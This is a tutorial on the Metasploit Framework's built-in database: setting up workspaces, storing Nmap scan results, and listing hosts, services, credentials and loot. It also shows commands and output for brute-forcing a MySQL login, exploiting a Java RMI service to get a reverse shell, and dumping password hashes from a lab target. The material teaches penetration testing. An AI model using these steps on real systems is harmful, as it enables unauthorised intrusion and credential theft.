The ability to stay organized and be resourceful with data gathered from recon is one of the things that separates the true hackers from the script kiddies. Metasploit contains a built-in database that allows for efficient storage of information and the ability to utilize that information to better understand the target, which ultimately leads to more successful exploitation.
By understanding and using the built-in Metasploit database to the fullest, we can keep track of information and stay organized during intense hacks. Also, there's being able to set up the database, customize workspaces, store scan results from Nmap, and gather and view discovered information such as services, credentials, and password hashes.
The first thing we need to do, if it is not done already, is start the PostgreSQL service that Metasploit's database uses, with the systemctl start postgresql command.
systemctl start postgresql
At any time, we can use the status keyword to check the current state of the service.
systemctl status postgresql ● postgresql.service - PostgreSQL RDBMS Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled) Active: active (exited) since Tue 2019-01-15 09:11:42 CST; 1min 6s ago Process: 1708 ExecStart=/bin/true (code=exited, status=0/SUCCESS) Main PID: 1708 (code=exited, status=0/SUCCESS) Jan 15 09:11:42 drd systemd: Starting PostgreSQL RDBMS... Jan 15 09:11:42 drd systemd: Started PostgreSQL RDBMS.
We can initialize the actual database with the msfdb command, which creates the default user, database, and relevant information pertaining to the database.
msfdb init [+] Starting database [+] Creating database user 'msf' [+] Creating databases 'msf' [+] Creating databases 'msf_test' [+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml' [+] Creating initial database schema
This will probably already have been done since it is a necessary step in order to use Metasploit at all. Regardless, we can check on the status similar to before.
msfdb status ● postgresql.service - PostgreSQL RDBMS Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled) Active: active (exited) since Tue 2019-01-15 09:14:03 CST; 59s ago Process: 1893 ExecStart=/bin/true (code=exited, status=0/SUCCESS) Main PID: 1893 (code=exited, status=0/SUCCESS) Jan 15 09:14:03 drd systemd: Starting PostgreSQL RDBMS... Jan 15 09:14:03 drd systemd: Started PostgreSQL RDBMS. COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME postgres 1857 postgres 3u IPv6 39550 0t0 TCP localhost:5432 (LISTEN) postgres 1857 postgres 6u IPv4 39551 0t0 TCP localhost:5432 (LISTEN) UID PID PPID C STIME TTY STAT TIME CMD postgres 1857 1 0 09:14 ? S 0:00 /usr/lib/postgresql/10/bin/postgres -D /var/lib/postgresql/10/main -c config_file=/etc/postgresql/1 [+] Detected configuration file (/usr/share/metasploit-framework/config/database.yml)
Now we can launch Metasploit using the msfconsole command.
msfconsole _ _ / \ /\ __ _ __ /_/ __ | |\ / | _____ \ \ ___ _____ | | / \ _ \ \ | | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -| |_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_ |/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\ =[ metasploit v4.17.17-dev ] + -- --=[ 1817 exploits - 1031 auxiliary - 315 post ] + -- --=[ 539 payloads - 42 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >
Once it is up and running, use the help keyword or ? to display the help menu. Near the bottom, there will be a section for database commands.
msf > help Database Backend Commands ========================= Command Description ------- ----------- db_connect Connect to an existing database db_disconnect Disconnect from the current database instance db_export Export a file containing the contents of the database db_import Import a scan result file (filetype will be auto-detected) db_nmap Executes nmap and records the output automatically db_rebuild_cache Rebuilds the database-stored module cache db_status Show the current database status hosts List all hosts in the database loot List all loot in the database notes List all notes in the database services List all services in the database vulns List all vulnerabilities in the database workspace Switch between database workspaces
We can check on the status from here as well:
msf > db_status [*] postgresql connected to msf
Metasploit uses workspaces to keep track of different information, allowing for separate scans and sessions to be utilized simultaneously. This keeps everything organized and in order. To view the current workspace, use the workspace keyword.
msf > workspace * default
We can see that our only option available is the default workspace. We can take a look at the different options for this command with the -h flag.
msf > workspace -h Usage: workspace List workspaces workspace -v List workspaces verbosely workspace [name] Switch workspace workspace -a [name] ... Add workspace(s) workspace -d [name] ... Delete workspace(s) workspace -D Delete all workspaces workspace -r <old> <new> Rename workspace workspace -h Show this help information
For instance, we have the ability to add a workspace with the -a flag.
msf > workspace -a myworkspace [*] Added workspace: myworkspace
Creating a new workspace will automatically switch you over to it.
msf > workspace default * myworkspace
And moving between workspaces is easy, using just its name after workplace.
msf > workspace default [*] Workspace: default
To delete a workspace, use the -d flag.
msf > workspace -d myworkspace [*] Deleted workspace: myworkspace
The workspace feature is extremely useful for staying organized while on a pentest or while hacking in general.
Another powerful feature of Metasploit's database is the ability to interface with Nmap. Being able to have the results of any Nmap scan stored at your fingertips makes recon so much easier and effective. We can import the saved results of a scan with the db_import command, followed by the file location.
msf > db_import /root/myscan [*] Importing 'Nmap XML' data [*] Import: Parsing with 'Nokogiri v1.9.1' [*] Importing host 172.16.1.102 [*] Successfully imported /root/myscan
We also have the ability to perform an Nmap scan directly from the console. Just use the db_nmap command followed by any options you would normally use for a scan.
msf > db_nmap -A 172.16.1.102 [*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 09:33 CST [*] Nmap: Nmap scan report for 172.16.1.102 [*] Nmap: Host is up (0.0014s latency). [*] Nmap: Not shown: 977 closed ports [*] Nmap: PORT STATE SERVICE VERSION [*] Nmap: 21/tcp open ftp vsftpd 2.3.4 [*] Nmap: |_ftp-anon: Anonymous FTP login allowed (FTP code 230) [*] Nmap: | ftp-syst: [*] Nmap: | STAT: [*] Nmap: | FTP server status: [*] Nmap: | Connected to 172.16.1.100 [*] Nmap: | Logged in as ftp [*] Nmap: | TYPE: ASCII [*] Nmap: | No session bandwidth limit [*] Nmap: | Session timeout in seconds is 300 [*] Nmap: | Control connection is plain text [*] Nmap: | Data connections will be plain text [*] Nmap: | vsFTPd 2.3.4 - secure, fast, stable [*] Nmap: |_End of status ...
From here, the results of the scan will be stored in the database for us to use as we see fit.
Now that we have scanned our target, let's display some information about it. Simply use the hosts command to list information about the current targets stored in the database.
msf > hosts Hosts ===== address mac name os_name os_flavor os_sp purpose info comments ------- --- ---- ------- --------- ----- ------- ---- -------- 172.16.1.102 08:00:27:77:62:6c Linux 2.6.X server
We can see the IP and MAC address here, as well as operating system information. Use the -h flag to list all the options for interacting with a host.
msf > hosts -h Usage: hosts [ options ] [addr1 addr2 ...] OPTIONS: -a,--add Add the hosts instead of searching -d,--delete Delete the hosts instead of searching -c <col1,col2> Only show the given columns (see list below) -C <col1,col2> Only show the given columns until the next restart (see list below) -h,--help Show this help information -u,--up Only show hosts which are up -o <file> Send output to a file in csv format -O <column> Order rows by specified column number -R,--rhosts Set RHOSTS from the results of the search -S,--search Search string to filter by -i,--info Change the info of a host -n,--name Change the name of a host -m,--comment Change the comment of a host -t,--tag Add or specify a tag to a range of hosts Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_family, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count,
We can add or delete hosts manually, modify the info and add comments, and various other housekeeping tasks here. One useful option is the ability to list only certain columns — use the -c flag followed by a comma-separated list of the columns to be shown.
msf > hosts -c address,os_name Hosts ===== address os_name ------- ------- 172.16.1.102 Linux
We can also display a list of services that were discovered by the Nmap scan from earlier with the services command.
msf > services Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 172.16.1.102 21 tcp ftp open vsftpd 2.3.4 172.16.1.102 22 tcp ssh open OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0 172.16.1.102 23 tcp telnet open Linux telnetd 172.16.1.102 25 tcp smtp open Postfix smtpd 172.16.1.102 53 tcp domain open ISC BIND 9.4.2 172.16.1.102 80 tcp http open Apache httpd 2.2.8 (Ubuntu) DAV/2 172.16.1.102 111 tcp rpcbind open 2 RPC #100000 172.16.1.102 139 tcp netbios-ssn open Samba smbd 3.X - 4.X workgroup: WORKGROUP 172.16.1.102 445 tcp netbios-ssn open Samba smbd 3.0.20-Debian workgroup: WORKGROUP 172.16.1.102 512 tcp exec open netkit-rsh rexecd 172.16.1.102 513 tcp login open 172.16.1.102 514 tcp shell open Netkit rshd 172.16.1.102 1099 tcp java-rmi open Java RMI Registry 172.16.1.102 1524 tcp bindshell open Metasploitable root shell 172.16.1.102 2049 tcp nfs open 2-4 RPC #100003 172.16.1.102 2121 tcp ftp open ProFTPD 1.3.1 172.16.1.102 3306 tcp mysql open MySQL 5.0.51a-3ubuntu5 172.16.1.102 5432 tcp postgresql open PostgreSQL DB 8.3.0 - 8.3.7 172.16.1.102 5900 tcp vnc open VNC protocol 3.3 172.16.1.102 6000 tcp x11 open access denied 172.16.1.102 6667 tcp irc open UnrealIRCd 172.16.1.102 8009 tcp ajp13 open Apache Jserv Protocol v1.3 172.16.1.102 8180 tcp unknown open Apache-Coyote/1.1
This will show the host, service name, port, and other information relating to the service. Again, we can view more options for this command by tacking on the -h flag.
msf > services -h Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...] -a,--add Add the services instead of searching -d,--delete Delete the services instead of searching -c <col1,col2> Only show the given columns -h,--help Show this help information -s <name1,name2> Search for a list of service names -p <port1,port2> Search for a list of ports -r <protocol> Only show [tcp|udp] services -u,--up Only show services which are up -o <file> Send output to a file in csv format -O <column> Order rows by specified column number -R,--rhosts Set RHOSTS from the results of the search -S,--search Search string to filter by Available columns: created_at, info, name, port, proto, state, updated_at
Similar options exist, such as the ability to add and delete services manually, to filter by column name, and to search by keyword.
msf > services -S mysql Services ======== host port proto name state info ---- ---- ----- ---- ----- ---- 172.16.1.102 3306 tcp mysql open MySQL 5.0.51a-3ubuntu5
Information about discovered hosts and services is not the only thing that can be stored in the database. We can also save valuable data like credentials and password hashes. The creds command will display current information about discovered credentials.
msf > creds Credentials =========== host origin service public private realm private_type ---- ------ ------- ------ ------- ----- ------------
As you can see, right now there is nothing in there, so let's go enumerate some login info.
Metasploit has an auxiliary scanner that can probe MySQL for valid credentials. Let's run that against our target using the root account and a blank password.
msf auxiliary(scanner/mysql/mysql_login) > run [+] 172.16.1.102:3306 - 172.16.1.102:3306 - Found remote MySQL version 5.0.51a [+] 172.16.1.102:3306 - 172.16.1.102:3306 - Success: 'root:' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
It looks like it was successful, so now we can check if the database was populated with those credentials.
msf > creds Credentials =========== host origin service public private realm private_type ---- ------ ------- ------ ------- ----- ------------ 172.16.1.102 172.16.1.102 3306/tcp (mysql) root Blank password
We can now see information about the host and service, as well as the login info under root with a blank password. There are more options for credentials beyond this basic usage, which can be viewed with the -h flag.
msf > creds -h With no sub-command, list credentials. If an address range is given, show only credentials with logins on hosts within that range. Usage - Listing credentials: creds [filter options] [address range] Usage - Adding credentials: creds add uses the following named parameters. user : Public, usually a username password : Private, private_type Password. ntlm : Private, private_type NTLM Hash. ssh-key : Private, private_type SSH key, must be a file path. hash : Private, private_type Nonreplayable hash realm : Realm, realm-type: Realm, realm_type (domain db2db sid pgdb rsync wildcard), defaults to domain. ...
We also have the ability to store other discovered information such as password hashes. To view current findings, use the loot command.
msf > loot Loot ==== host service type name content info path ---- ------- ---- ---- ------- ---- ----
Again, we haven't done anything yet so there is nothing here yet. Let's see if we can gather some hashes from our target.
First, we'll need to compromise it and get a root shell. We can do this in a number of ways, but for now we can exploit a vulnerability found in a Java service. Once we execute the attack, we can background the session.
msf exploit(multi/misc/java_rmi_server) > run [*] Started reverse TCP handler on 172.16.1.100:4444 [*] 172.16.1.102:1099 - Using URL: http://0.0.0.0:8080/fbz8uGK4rg1dea [*] 172.16.1.102:1099 - Local IP: http://172.16.1.100:8080/fbz8uGK4rg1dea [*] 172.16.1.102:1099 - Server started. [*] 172.16.1.102:1099 - Sending RMI Header... [*] 172.16.1.102:1099 - Sending RMI Call... [*] 172.16.1.102:1099 - Replied to request for payload JAR [*] Sending stage (2952 bytes) to 172.16.1.102 [*] 172.16.1.102:1099 - Server stopped. ^Z Background session 1? [y/N] y
Next, we can use a post-exploitation module to get the hashes from this system. Use the session that we just backgrounded and run the exploit.
msf post(linux/gather/hashdump) > options Module options (post/linux/gather/hashdump): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on. msf post(linux/gather/hashdump) > set session 1 session => 1 msf post(linux/gather/hashdump) > run [!] SESSION may not be compatible with this module. [+] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash [+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh [+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false [+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash [+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash [+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash [+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash [+] Unshadowed Password File: /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.hashes_722705.txt [*] Post module execution completed
It looks like it found some hashes, but let's check the database now for loot.
msf > loot Loot ==== host service type name content info path ---- ------- ---- ---- ------- ---- ---- 172.16.1.102 linux.hashes unshadowed_passwd.pwd text/plain Linux Unshadowed Password File /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.hashes_722705.txt 172.16.1.102 linux.passwd passwd.tx text/plain Linux Passwd File /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.passwd_635591.txt 172.16.1.102 linux.shadow shadow.tx text/plain Linux Password Shadow File /root/.msf4/loot/20190115095943_default_172.16.1.102_linux.shadow_881518.txt
Now we can see information about the hashes we found, such as the type and file path. Like the other features of the database, we can see a few more options for loot by displaying the help.
msf > loot -h Usage: loot <options> Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>] Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type] Del: loot -d [addr1 addr2 ...] -a,--add Add loot to the list of addresses, instead of listing -d,--delete Delete *all* loot matching host and type -f,--file File with contents of the loot to add -i,--info Info of the loot to add -t <type1,type2> Search for a list of types -h,--help Show this help information -S,--search Search string to filter by
All of this data we have stored is basically useless if we cannot save it for later. Luckily, we can do just that with the db_export command.
msf > db_export -h Usage: db_export -f <format> [filename] Format can be one of: xml, pwdump [-] No output file was specified
Simply specify the file format and the path to write to, and all the information stored in the database will be exported to a file for later use.
msf > db_export -f xml /root/mydbinfo.xml [*] Starting export of workspace default to /root/mydbinfo.xml [ xml ]... [*] >> Starting export of report [*] >> Starting export of hosts [*] >> Starting export of events [*] >> Starting export of services [*] >> Starting export of web sites [*] >> Starting export of web pages [*] >> Starting export of web forms [*] >> Starting export of web vulns [*] >> Starting export of module details [*] >> Finished export of report [*] Finished export of workspace default to /root/mydbinfo.xml [ xml ]...
In this article, we explored a little-known feature of Metasploit that allows us to keep track of information and stay organized while hacking. We covered how to set up the database and customize workspaces, how to utilize Nmap to store scan results, and gather and view discovered information such as services, credentials, and password hashes. The ability to store and manage data right in Metasploit allows us to stay organized and ultimately become a more successful hacker.